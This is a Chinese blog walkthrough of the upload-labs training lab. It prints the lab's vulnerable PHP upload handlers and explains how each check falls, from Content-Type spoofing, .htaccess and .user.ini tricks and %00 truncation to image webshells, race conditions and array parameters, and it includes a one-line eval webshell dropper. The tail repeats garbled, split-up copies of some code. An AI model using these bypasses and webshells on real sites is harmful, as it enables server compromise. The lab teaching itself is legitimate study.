全网最全upload_labs通过教程,有详细解题思路

p文件上传漏洞-upload-labs通关

第1关:前端js绕过

如何区分前端,还是后端

前端尝试抓包

禁止js 先上传非法文件看下可以抓到包不

绕过方法 先上传合法文件 在通过该后缀 本关两种方法第一种禁用js,第二种该后缀

image-20240403134920966

image-20240403135108922

然后用蚁剑进行连接

image-20240403143839760

image-20240403144043326

第2关 content-type绕过

image-20240403145032748

改成content-type:image/jpeg

如何判断是content-type绕过 先上传正常的jpg看下是否可以显示,抓包分析

第3关:黑名单特殊后缀绕过 php3,php5

image-20240403145512628

黑名单,这些文件类型不让上传

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

改成php5上传

但是蚁剑无法连接,原因服务器没允许,要想可以解析修改配置文件 /opt/lampp/etc/httpd.conf 去带#就可以解析了

image-20240403151441345

image-20240403151754817

第4关 .htaccess绕过

image-20240403151922046

还是黑名单限制了更多,唯独没进.htaccess

.htaccess 是配置文件 通常位于网站的根目录或特定的文件中,并影响该目录及子目录。每个目录都可以有这个文件

httpd.conf 是全局的文件,整个服务器的 管理员才可以修改,并且要重启

.htaccess文件可以通过文本编辑器直接进行修改或创建,且修改后会立马生效,不用重启

上传该文件

将 .jpg .txt 文件仍然以php解析

先上传 .htaccess文件 在上传图片马

AddType application/x-httpd-php .jpg .txt

image-20240403154445274

第5关

配置文件详解

.htaccess

作用:分布式配置文件,一般用于URl 重写,认证 访问控制等

作用范围:特定目录(一般是网站根目录)及其子目录

优先级:较高,可覆盖apache的主要配置文件(httpd-conf)

生效方式:修改后立刻生效

httpd-conf

作用:包含 Apache HTTP 服务器全局行为和默认设置

作用范围:整个服务器

优先级:较低

生效方式:管理员权限,重启服务器后生效

.user.ini

作用:特定于用户或特定目录的配置文件,通常位于web应用程序根目录下。

它作用于覆盖或追加全局配置文件(如 php.ini)中的php配置选项

作用范围:存放该文件的目录以及其子目录

优先级:较高,可以覆盖php.ini

生效方式:立刻生效

php.ini

作用:存储了对整个php环境生效的配置文件,它通常位于php安装目录中,

作用范围:所有运行在该php环境中的php请求

优先级:较低

生效方式:重启php或web服务器

加载方式:会首先加载php.ini/httpd-conf中的配置文件,然后,如果某个目录下存在 .user.ini/.htaccess文件,服务器会在处理请求时检查该目录,并覆盖相应的配置项

.user.ini生效前提

最好大于5.30最好是7.x版本的

ServerAPI为 CGI/FastCGI ----phpinfo()可以查看 serverAPI

serverAPI 类似信息交互的一种协议

.user.ini文件上传漏洞的前提:
.user.ini可以生效并且该上传目录有php文件

.user.ini绕过

写法:
Auto-prepend-file=111.txt (这个文件里面只包含php代码)
A: echo "hello" .php            b: echo "word" .txt
Autp-prepend-file=b.txt     内容 为 helloword

image-20240403164849099

image-20240403172513929

点加空格点绕过

点加空格加点

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);     #获取文件名字
        $file_name = deldot($file_name);//删除文件名末尾的点   #1.jpg. 会变成 1.jpg
        $file_ext = strrchr($file_name, '.');               #通过.分割 获取文件后缀   1   .jpg   
        $file_ext = strtolower($file_ext); //转换为小写       #将后缀转为小写  
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA   
        $file_ext = trim($file_ext); //首尾去空
        #判断文件后缀在不在黑名单里
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

windows 文件后缀 . 空格 在文件最后都会被自动删除

源码只过滤一遍

1.php. .

根据代码来看,文件名字变化过程

1.php.空格

1.php.

不在后缀中,然后上传到服务器里,最后在文件中自动删除变成1.php

image-20240403184056948

第三关用这种方法不行

因为第三关名字是随机取的上传文件之后和 上传的文件后缀组合成新的文件名

第6关 大小写绕过

文件后缀 Txt TXT 都会在windows中变成txt最后

image-20240403185519702

第7关 空格绕过

image-20240403190440943

第8关 后缀加点绕过

image-20240403190843088

怎么分析的,与前面几关都类似,看源码没有去除. 所以可以用加.来绕过

image-20240403190903132

第9关:😒 $DATA绕过(仅windows)

前置知识点 额外数据流

在windows操作系统中,当你看到文件名后缀跟着 ::$DATA时 它表示一个附加数据流。数据流是一种用于在文件内部存储额外数据的机制

相当于寄生,明面上看不到

在普通情况下,我们使用的文件只有一种默认数据流,可以通过文件名访问。但是windowsNT文件系统(NTFS)支持

在文件内部创建额外数据流,以存储其他信息。这些额外的数据流可以通过在文件名后添加::$DATA来访问

如 1.txt是一个文件,而1.txt::$DATA 是这个文件的一个附加数据流。这样的数据流可以用于存储文件的元数据,备份信息,标签等

需要注意的是,大多数常规的文件操作工具不会意识到这些额外的数据流,而只会处理默认的数据流。要访问或操作这些附加数据流,通常需要使用特定的命令工具或编程接口

写入方法:

echo 内容 >>文件名:数据流名

type 文件名 >>文件名:数据流名

查看方法:

notepad 文件名:数据流名

![(https://2274typora.oss-cn-beijing.aliyuncs.com/typora/image-20240403200136501.png)

image-20240403200833536

::$DATA绕过

php中 php附加数据流不会去验证后缀

让php认为上传的是额外的数据流

windows不允许有::$DATA存在,会自动删除

image-20240403213034698

第10关 点空格点绕过

与第五关一样

第11关 双写后缀绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);   #字符串替换,可以是字符串或字符串数组,替换成空
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

上传1.php 变成1.

绕过1.

函数执行顺序从左到右

image-20240403214246264

第12关 %00截断

空字符

字符串读取的时候 有 0x00会被当做截断标志

你好0x00php

0x00后门的php不会被截取 显示出来的是:你好

%00和0x00一样

区别使用的地方不一样 %00在url中使用 0x00在编程语言中使用

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

使用的是白名单过滤 (主流网站基本都是白名单) 规定了可以上传文件的类型

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    #获取.之后的内容 搜.最后一次出现的位置
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

image-20240403222317312

注意是在临时路径中修改

image-20240403223125150

jpg 上传文件类型

C:… 临时路径

/upload 保存的位置 如果不加 %00 这个路径是错误的

有php版本限制

第13关 0x00截断

第14关 字节标识绕过(文件包含漏洞)

前置知识

JPEG/JFIF(常见的照片格式):头两个字节为 0xFF 0xD8

PNG(无损压缩格式): 头两个字节为 0x89 0x50

GIF(支持动画的图像格式):头两个字节为 0x47 0x49

BMP 头两个字节为 0x42 0x4D

TIFF(标签图像文件格式): 头两个字节可以是不同的数值

字节是计算机存储和传输数据的基本单位,8个比特位

utf-8一个字节 中文 三字节

image-20240404165754460

文件包含

在服务器上放一个1.txt

image-20240404173033830

image-20240404173149831

使用文件包含可以显示出来

文件包含会把文件以php展开

任何文件都可以以php来运行

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

解题方法

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:              #十进制  读文件的前两个字节将其转换为10进制编码
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

image-20240404171946496

将头两个改成 89 50 php文件就会被认为是.png文件

image-20240404172655787

image-20240404173715511


image-20240404173949470

第15关 图片马绕过

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);                   #函数返回一个图像信息的数组
        $ext = image_type_to_extension($info[2]);  
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

i n f o = g e t i m a g e s i z e ( info = getimagesize( info=getimagesize(filename); #函数返回一个图像信息的数组

返回图片长宽高

杜绝了14的情况

绕过方法 不能像14题一样修改头两个字节 而是使用图片马

image-20240404213235892

image-20240404213318233

第16关 图片马绕过

跟15关差不多

第17关 二次渲染绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];   #获得文件名字
    $filetype = $_FILES['upload_file']['type'];   #获得文件类型
    $tmpname = $_FILES['upload_file']['tmp_name'];#临时文件名字

    $target_path=UPLOAD_PATH.'/'.basename($filename);   #最终存储路径

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){               #如果可以移动可以文件重写
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

content-type 浏览器识别的

php的一句话木马被删除了 一句话木马上传失败

绕过选用gif好绕

二次渲染并不会把全部内容删除

用010editor比较上传的文件和原来的文件,看看哪里没有变,在没有变的地方插入一句话木马 MATCH部分是相同的

image-20240404222350749

然后在上传的原文件上插入一句话木马

image-20240404222620388

image-20240404223053578

image-20240404223118449

方法二

上传图片,然后在保存下来,用保存下来的图片加木马

第18关 条件竞争原理绕过

逻辑上的漏洞

前提:服务器会将任意

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

白名单

上传的文件从临时目录移动到 upload_file(服务器的目录),任意类型的文件先上传到服务器上,在决定删除不删除。

怎么竞争:先到服务器在判断可以删除,有个很少的停留时间在服务器上。通过不停的上传文件,在不停的访问,在if没有删除之前,卡个时间查访问

生成小马:

通过访问1.php 创建shell.php 写入木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>  

第十八关主要是对条件竞争的考察,我们看代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。

操作:直接上传一个php文件,然后进行抓包,将数据包发送至intruder下,如图操作

img

然后如图操作修改

img

再修改一下线程

img

然后发包,用另一个浏览器一直访问18.php地址,只要在上传的一瞬间,他还没来的及删除、修改就可以了。(卡吧)

第19关apache解析漏洞+条件竞争绕过

与18关类似

apcache 从右往前看 1.php.7z 不认识 会向前解析.php

不能抓包该后缀为.php.7z 该7z虽然能上传成功,但无法构成威胁 时间戳+.7z构成文件名,会把最后的7z当成后缀名形成 888888.7z这个文件不会被执行,不构成威胁

赶在在重命名之前,对他进行访问

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

image-20240405022045078

第20关 后缀绕过总结

没有经过过滤,先判断合不合法

加. 加.空格 都可以绕过

前面的各种方法总结

第21关 审计+数组后缀绕过

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名 三元运算符 A?B:C 
        //如果用户提交上来的save_name的post参数值,,则使用该参数值作为文件名,否则使用上传文件的原始文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        #如果$file不是数组,则使用.进行切分,变成数组 比如shell.php.jpg,则是:(shell,php,jpg)
        
        
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);//从数组当中获取最后一个元素作为扩展名
        $allow_suffix = array('jpg','png','gif');//白名单
 //思考:为什么要判断一下save_name参数是否为数组呢,难道任何一个提交过来的数据不都是字符串吗?
 //结果:经过实验,发现请求参数可以直接以数组方式提交,比如name[0]=woniu&name[1]=chengdu&name[2]=123
 //然后:能否可以去构造post请求的save_name参数,将文件后缀名强制搞成jpg,但是文件本身的实质是shell.php       
        
        
        
        
        
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            //拼接文件名:数组第一个元素,再加上一个点,再加上数组的最后一个值
            //假设文件名是shell.jpg,则$file_name=shell+ . + jpg
            //那如果上传save_name数组参数呢?
            //save_name[0]=shell.php,$file[2]=jpg
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];//获取临时文件
            $img_path = UPLOAD_PATH . '/' .$file_name;//只是定义新的文件上传路径和文件名
            if (move_uploaded_file($temp_file, $img_path)) {//移动文件从临时文件移动到upload_path
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}


//思考:为什么要判断一下save_name参数是否为数组呢,难道任何一个提交过来的数据不都是字符串吗?
//结果:经过实验,发现请求参数post可以直接以数组方式提交,比如save_name[0]=woniu&save_name[1]=chengdu&save_name[2]=123
//然后:能否可以去构造post请求的save_name参数,将文件后缀名强制搞成jpg,但是文件本身的实质是shell.php
以数组形式提交参数

image-20240405211408543

reset() #该函数把数组的内部指针指向第一个元素,并返回这个元素的值
end()   #获取数组的最后一个值
$arr=array()
$arr[0]=null
$arr[1]="Peter";
$arr[3]="Joe";
Sarr[4]="Glenn";
echo count($arr),reset($arr),end($arr)#输出值为 3 Peter Glenn     并不是传统意义上的从arr[0]开始

 //拼接文件名:数组第一个值,再加上一个点,再加上数组的最后一个值 正常来说 count的最后一个值为数组下标-1  就是这句话暴露了漏洞
            //假设文件名是shell.jpg,则$file_name=shell+ . + jpg  正常情况
            //那如果上传save_name数组参数呢?
            //save_name[0]=shell.php,$file[2]=jpg    此时 $file[count($file)-1]=$file[1] 是空值  
            //拼接起来是 shell.php.空值    shell.php.会自动变成shell.php而被解析
            $file_name = reset($file) . '.' . $file[count($file) - 1];

image-20240405214817161

        }
    }
}

}else{
$msg = “请选择要上传的文件!”;
}


   

 //思考:为什么要判断一下save_name参数是否为数组呢,难道任何一个提交过来的数据不都是字符串吗?
 //结果:经过实验,发现请求参数post可以直接以数组方式提交,比如save_name[0]=woniu&save_name[1]=chengdu&save_name[2]=123
 //然后:能否可以去构造post请求的save_name参数,将文件后缀名强制搞成jpg,但是文件本身的实质是shell.php       
   以数组形式提交参数

[外链图片转存中...(img-xk33iihC-1712391598168)]     

reset() #该函数把数组的内部指针指向第一个元素,并返回这个元素的值
end() #获取数组的最后一个值
$arr=array()
$arr[0]=null
$arr[1]=“Peter”;
a r r [ 3 ] = " J o e " ; S a r r [ 4 ] = " G l e n n " ; e c h o c o u n t ( arr[3]="Joe"; Sarr[4]="Glenn"; echo count( arr[3]="Joe";Sarr[4]="Glenn";echocount(arr),reset( a r r ) , e n d ( arr),end( arr),end(arr)#输出值为 3 Peter Glenn 并不是传统意义上的从arr[0]开始

//拼接文件名:数组第一个值,再加上一个点,再加上数组的最后一个值 正常来说 count的最后一个值为数组下标-1 就是这句话暴露了漏洞
//假设文件名是shell.jpg,则 f i l e n a m e = s h e l l + . + j p g 正常情况 / / 那如果上传 s a v e n a m e 数组参数呢? / / s a v e n a m e [ 0 ] = s h e l l . p h p , file_name=shell+ . + jpg 正常情况 //那如果上传save_name数组参数呢? //save_name[0]=shell.php, filename=shell+.+jpg正常情况//那如果上传savename数组参数呢?//savename[0]=shell.php,file[2]=jpg 此时 f i l e [ c o u n t ( file[count( file[count(file)-1]=$file[1] 是空值
//拼接起来是 shell.php.空值 shell.php.会自动变成shell.php而被解析
f i l e n a m e = r e s e t ( file_name = reset( filename=reset(file) . ‘.’ . f i l e [ c o u n t ( file[count( file[count(file) - 1];


[外链图片转存中...(img-YSXzNX4y-1712391598168)]

![image-20240405214904498](https://img-blog.csdnimg.cn/img_convert/9981e10c245b5108876007cf88c7729c.png)
  • 18
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
根据提供的引用内容,上传图片的代码片段主要包括对文件类型的判断和移动文件的操作。在引用\[1\]中,代码使用了`$_FILES\['upload_file'\]\['type'\]`来判断上传文件的类型,只接受`image/jpeg`、`image/png`和`image/gif`三种类型的图片。如果文件类型符合要求,则将文件移动到指定路径。如果移动成功,则设置`$is_upload`为`true`。如果移动失败,则设置`$msg`为"上传出错!"。如果文件类型不正确,则设置`$msg`为"文件类型不正确,请重新上传!"。如果文件夹不存在,则设置`$msg`为"文件夹不存在,请手工创建!"。 在引用\[2\]中,代码片段与引用\[1\]类似,但是在移动文件成功后,还对新生成的图片进行了二次渲染,并将其保存到指定路径。同时,原始的上传文件被删除。 在引用\[3\]中,代码片段与引用\[1\]类似,但是在判断文件类型时,使用了`FILES`函数来获取文件的MIME类型。其他部分与引用\[1\]相同。 根据提供的引用内容,无法确定具体的上传图片的功能和实现细节。如果您有upload_labs图片上传的具体问题,请提供更多的信息。 #### 引用[.reference_title] - *1* [文件上传漏洞(upload_labs1-12)](https://blog.csdn.net/qq_40448537/article/details/106941123)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [upload_labs_pass17_二次渲染](https://blog.csdn.net/qq_51550750/article/details/124115320)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [文件上传upload_labs 1-5](https://blog.csdn.net/qq_45564150/article/details/121548836)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值